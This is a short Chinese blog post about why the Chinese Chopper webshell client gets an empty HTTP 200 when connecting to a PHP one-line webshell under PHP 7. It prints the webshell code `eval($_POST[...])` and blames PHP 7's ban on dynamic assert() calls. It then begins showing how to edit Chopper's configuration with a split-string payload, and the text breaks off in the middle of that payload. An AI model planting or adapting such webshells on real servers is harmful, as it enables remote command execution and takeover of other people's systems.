博文

目前显示的是 一月, 2018的博文

菜刀连接php一句话木马返回200的原因及解决方法

图片
    一句话木马的内容为“<?php @eval($_POST["abc"])?>”,用菜刀连接直接返回200          可是hackbar中执行命令却没有问题          很奇怪。后来在看雪上看到也有人发类似的 帖子 ,评论有人提到是php7版本过高的问题,搜了下确实是这样,php manual 中提到: Dynamic calls for certain functions have been forbidden (in the form of $func() or array_map('extract', ...), etc). These functions either inspect or modify another scope, and present with them ambiguous and unreliable behavior. The functions are as follows: assert() - with a string as the first argument      即php7中动态调用一些函数是被禁止的,比如在array_map中调用assert,否则会提示      Warning: Cannot call func_num_args() dynamically in %s on line %d     把一句话里的@符号去掉,则同样会报错“Cannot call assert() with string argument dynamically in ...shell.php(1) : eval()'d code on line 1 ”。       从返回内容可以看到php版本为7.1.6。抓包看了下菜刀的发包,的确用到了array_map("assert"..)          所以只要在菜刀的配置文件里把  array_map("ass"."ert",array("ev"."Al(\"\\\$xx%%3D\\\"Ba"."SE6"."